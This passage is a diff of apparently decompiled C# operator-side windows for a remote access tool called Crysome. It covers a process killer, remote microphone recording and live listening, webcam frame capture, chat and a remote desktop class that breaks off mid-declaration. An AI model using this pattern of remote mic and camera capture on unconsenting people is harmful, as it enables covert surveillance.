|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/pluginmanagertab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using System.Windows.Media;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ProcessItemViewModel
|
||||
{
|
||||
public string Name { get; set; }
|
||||
|
||||
public int Pid { get; set; }
|
||||
|
||||
public ImageSource Icon { get; set; }
|
||||
}
|
||||
@@ -0,0 +1,232 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ProcessManagerWindow : FluentWindow, IComponentConnector, IStyleConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private readonly ObservableCollection<ProcessItemViewModel> _processes = new ObservableCollection<ProcessItemViewModel>();
|
||||
|
||||
private readonly ICollectionView _processView;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button RefreshBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox SearchBox;
|
||||
|
||||
internal ListView ProcessList;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ProcessManagerWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Process Manager — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
_processView = CollectionViewSource.GetDefaultView(_processes);
|
||||
ProcessList.ItemsSource = (IEnumerable)_processView;
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
Refresh();
|
||||
};
|
||||
}
|
||||
|
||||
private void Refresh()
|
||||
{
|
||||
_processes.Clear();
|
||||
StatusText.Text = "Loading...";
|
||||
_vm.RequestProcessList(_client, delegate(GetProcessListResponsePacket packet)
|
||||
{
|
||||
if (((packet != null) ? packet.Processes : null) != null)
|
||||
{
|
||||
foreach (ProcessListEntry process in packet.Processes)
|
||||
{
|
||||
ImageSource icon = LoadIcon(process.IconData);
|
||||
_processes.Add(new ProcessItemViewModel
|
||||
{
|
||||
Name = process.Name,
|
||||
Pid = process.Pid,
|
||||
Icon = icon
|
||||
});
|
||||
}
|
||||
((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate
|
||||
{
|
||||
ApplySearchFilter();
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void SearchBox_TextChanged(object sender, TextChangedEventArgs e)
|
||||
{
|
||||
ApplySearchFilter();
|
||||
}
|
||||
|
||||
private void ApplySearchFilter()
|
||||
{
|
||||
string q = (SearchBox?.Text ?? "").Trim().ToLowerInvariant();
|
||||
_processView.Filter = (string.IsNullOrEmpty(q) ? null : ((Predicate<object>)((object o) => o is ProcessItemViewModel processItemViewModel && ((processItemViewModel.Name ?? "").ToLowerInvariant().Contains(q) || processItemViewModel.Pid.ToString().Contains(q)))));
|
||||
int num = (string.IsNullOrEmpty(q) ? _processes.Count : ((IEnumerable)_processView).Cast<object>().Count());
|
||||
StatusText.Text = (string.IsNullOrEmpty(q) ? (_processes.Count + " processes") : (num + " of " + _processes.Count + " processes"));
|
||||
}
|
||||
|
||||
private static ImageSource LoadIcon(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(data);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
return bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private void RefreshBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
Refresh();
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void KillBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if ((sender as FrameworkElement)?.DataContext is ProcessItemViewModel processItemViewModel)
|
||||
{
|
||||
_vm.KillProcessOnClient(_client, processItemViewModel.Pid);
|
||||
_processes.Remove(processItemViewModel);
|
||||
StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid;
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessList_MouseDoubleClick(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
if (ProcessList.SelectedItem is ProcessItemViewModel processItemViewModel)
|
||||
{
|
||||
_vm.KillProcessOnClient(_client, processItemViewModel.Pid);
|
||||
_processes.Remove(processItemViewModel);
|
||||
StatusText.Text = "Kill sent for PID " + processItemViewModel.Pid;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/processmanagerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005e: Expected O, but got Unknown
|
||||
//IL_0078: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0082: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
RefreshBtn = (Button)target;
|
||||
((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
SearchBox = (TextBox)target;
|
||||
SearchBox.TextChanged += SearchBox_TextChanged;
|
||||
break;
|
||||
case 6:
|
||||
ProcessList = (ListView)target;
|
||||
ProcessList.MouseDoubleClick += ProcessList_MouseDoubleClick;
|
||||
break;
|
||||
case 8:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IStyleConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0005: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001b: Expected O, but got Unknown
|
||||
if (connectionId == 7)
|
||||
{
|
||||
((ButtonBase)(Button)target).Click += KillBtn_Click;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,266 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using NAudio.Wave;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteAudioWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private MediaPlayer _player;
|
||||
|
||||
private string[] _devices = new string[0];
|
||||
|
||||
private BufferedWaveProvider _bufferedProvider;
|
||||
|
||||
private WaveOutEvent _waveOut;
|
||||
|
||||
private bool _listening;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ComboBox MicCombo;
|
||||
|
||||
internal Button RecordBtn;
|
||||
|
||||
internal Button ListenBtn;
|
||||
|
||||
internal Button StopListenBtn;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
StatusText.Text = "Select mic, then Record (5 sec) or Listen Live.";
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
_vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC");
|
||||
LoadMics();
|
||||
};
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
_player?.Close();
|
||||
StopListening();
|
||||
};
|
||||
}
|
||||
|
||||
private void LoadMics()
|
||||
{
|
||||
_vm.GetAudioDevices(_client, delegate(string[] devs)
|
||||
{
|
||||
_devices = devs ?? new string[0];
|
||||
if (_devices.Length == 0)
|
||||
{
|
||||
_devices = new string[1] { "(No microphones found)" };
|
||||
}
|
||||
MicCombo.Items.Clear();
|
||||
for (int i = 0; i < _devices.Length; i++)
|
||||
{
|
||||
MicCombo.Items.Add(_devices[i] ?? ("Mic " + i));
|
||||
}
|
||||
if (MicCombo.Items.Count > 0)
|
||||
{
|
||||
MicCombo.SelectedIndex = 0;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void RecordBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||||
StatusText.Text = "Recording on remote machine...";
|
||||
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||||
_vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData)
|
||||
{
|
||||
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||||
if (wavData == null || wavData.Length == 0)
|
||||
{
|
||||
StatusText.Text = "No audio received.";
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav");
|
||||
File.WriteAllBytes(tmp, wavData);
|
||||
_player?.Close();
|
||||
_player = new MediaPlayer();
|
||||
_player.Open(new Uri(tmp));
|
||||
_player.MediaEnded += delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
File.Delete(tmp);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_player.Close();
|
||||
};
|
||||
_player.Play();
|
||||
StatusText.Text = "Playing " + wavData.Length / 1024 + " KB...";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Play failed: " + ex.Message;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void ListenBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||||
_listening = true;
|
||||
((UIElement)(object)ListenBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopListenBtn).IsEnabled = true;
|
||||
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||||
StatusText.Text = "Listening live...";
|
||||
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
|
||||
_bufferedProvider = new BufferedWaveProvider(waveFormat)
|
||||
{
|
||||
BufferDuration = TimeSpan.FromSeconds(5L)
|
||||
};
|
||||
_waveOut = new WaveOutEvent();
|
||||
_waveOut.Init(_bufferedProvider);
|
||||
_waveOut.Play();
|
||||
_vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk)
|
||||
{
|
||||
if (!_listening || _bufferedProvider == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
_bufferedProvider.AddSamples(chunk, 0, chunk.Length);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void StopListenBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
StopListening();
|
||||
}
|
||||
|
||||
private void StopListening()
|
||||
{
|
||||
_listening = false;
|
||||
_vm?.StopAudioStream(_client);
|
||||
((UIElement)(object)ListenBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopListenBtn).IsEnabled = false;
|
||||
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||||
try
|
||||
{
|
||||
_waveOut?.Stop();
|
||||
_waveOut?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_waveOut = null;
|
||||
_bufferedProvider = null;
|
||||
StatusText.Text = "Stopped.";
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005e: Expected O, but got Unknown
|
||||
//IL_0085: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008f: Expected O, but got Unknown
|
||||
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b3: Expected O, but got Unknown
|
||||
//IL_00cd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00d7: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
MicCombo = (ComboBox)target;
|
||||
break;
|
||||
case 5:
|
||||
RecordBtn = (Button)target;
|
||||
((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
ListenBtn = (Button)target;
|
||||
((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
StopListenBtn = (Button)target;
|
||||
((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click;
|
||||
break;
|
||||
case 8:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteCameraWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private string[] _devices = new string[0];
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button RefreshBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ComboBox CameraCombo;
|
||||
|
||||
internal Image CameraImage;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteCameraWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Remote Camera — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
((FrameworkElement)this).Loaded += delegate
|
||||
{
|
||||
_vm.Log("RemoteCamera Loaded, calling LoadCameras", "CAM");
|
||||
LoadCameras();
|
||||
};
|
||||
}
|
||||
|
||||
private void LoadCameras()
|
||||
{
|
||||
_vm.GetCameraDevices(_client, delegate(string[] devs)
|
||||
{
|
||||
_devices = devs ?? new string[0];
|
||||
if (_devices.Length == 0)
|
||||
{
|
||||
_devices = new string[1] { "(No cameras found)" };
|
||||
}
|
||||
CameraCombo.Items.Clear();
|
||||
for (int i = 0; i < _devices.Length; i++)
|
||||
{
|
||||
CameraCombo.Items.Add(_devices[i] ?? ("Camera " + i));
|
||||
}
|
||||
if (CameraCombo.Items.Count > 0)
|
||||
{
|
||||
CameraCombo.SelectedIndex = 0;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void RefreshBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((UIElement)(object)RefreshBtn).IsEnabled = false;
|
||||
StatusText.Text = "Requesting frame...";
|
||||
int deviceIndex = ((_devices.Length != 0 && _devices[0] != "(No cameras found)" && CameraCombo.SelectedIndex >= 0) ? CameraCombo.SelectedIndex : 0);
|
||||
_vm.RequestCameraFrame(_client, deviceIndex, delegate(byte[] jpegData)
|
||||
{
|
||||
((UIElement)(object)RefreshBtn).IsEnabled = true;
|
||||
if (jpegData == null || jpegData.Length == 0)
|
||||
{
|
||||
StatusText.Text = "No frame received (no camera?).";
|
||||
CameraImage.Source = null;
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(jpegData);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
CameraImage.Source = bitmapImage;
|
||||
StatusText.Text = "Frame received.";
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
StatusText.Text = "Failed to show frame: " + ex.Message;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotecamerawindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0050: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005a: Expected O, but got Unknown
|
||||
//IL_0074: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_007e: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
RefreshBtn = (Button)target;
|
||||
((ButtonBase)(object)RefreshBtn).Click += RefreshBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
CameraCombo = (ComboBox)target;
|
||||
break;
|
||||
case 6:
|
||||
CameraImage = (Image)target;
|
||||
break;
|
||||
case 7:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteChatWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal ListBox ChatList;
|
||||
|
||||
internal TextBox MessageBox;
|
||||
|
||||
internal Button SendBtn;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public RemoteChatWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Chat — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
_vm.RegisterChatHandler(_client, OnChatMessage);
|
||||
((Window)this).Closed += delegate
|
||||
{
|
||||
_vm.UnregisterChatHandler(_client);
|
||||
};
|
||||
}
|
||||
|
||||
private void OnChatMessage(string from, string msg)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
ChatList.Items.Add("[" + from + "]: " + msg);
|
||||
if (ChatList.Items.Count > 0)
|
||||
{
|
||||
ChatList.ScrollIntoView(ChatList.Items[ChatList.Items.Count - 1]);
|
||||
}
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void SendBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
SendMessage();
|
||||
}
|
||||
|
||||
private void MessageBox_KeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
||||
if ((int)e.Key == 6 && !((Enum)e.KeyboardDevice.Modifiers).HasFlag((Enum)(object)(ModifierKeys)4))
|
||||
{
|
||||
e.Handled = true;
|
||||
SendMessage();
|
||||
}
|
||||
}
|
||||
|
||||
private void SendMessage()
|
||||
{
|
||||
string text = MessageBox?.Text?.Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
MessageBox.Clear();
|
||||
_vm.SendChatMessage(_client, text);
|
||||
OnChatMessage("You", text);
|
||||
}
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remotechatwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0050: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_005a: Expected O, but got Unknown
|
||||
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00af: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
ChatList = (ListBox)target;
|
||||
break;
|
||||
case 5:
|
||||
MessageBox = (TextBox)target;
|
||||
MessageBox.KeyDown += MessageBox_KeyDown;
|
||||
break;
|
||||
case 6:
|
||||
SendBtn = (Button)target;
|
||||
((ButtonBase)(object)SendBtn).Click += SendBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,571 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media.Imaging;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class RemoteDesktopWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private int _remoteWidth = 1920;
|
||||
|
||||
private int _remoteHeight = 1080;
|
||||
|
||||
private bool _streaming;
|
||||
|
||||
private volatile byte[] _latestJpeg;
|
||||
private System.Windows.Media.Imaging.WriteableBitmap _writeableBitmap;
|
||||
private System.Drawing.Bitmap _decodeBitmap;
|
||||
private readonly object _frameLock = new object();
|
||||
private bool _renderHooked;
|
||||
|
||||
private ScreenInfo[] _screens;
|
||||
|
||||
private DateTime _lastMouseMove = DateTime.MinValue;
|
||||
|
||||
private System.Windows.Controls.ComboBox _captureModeCombo;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal ComboBox ScreenCombo;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button MinimizeBtn;
|
||||
|
||||
internal Button MaximizeBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
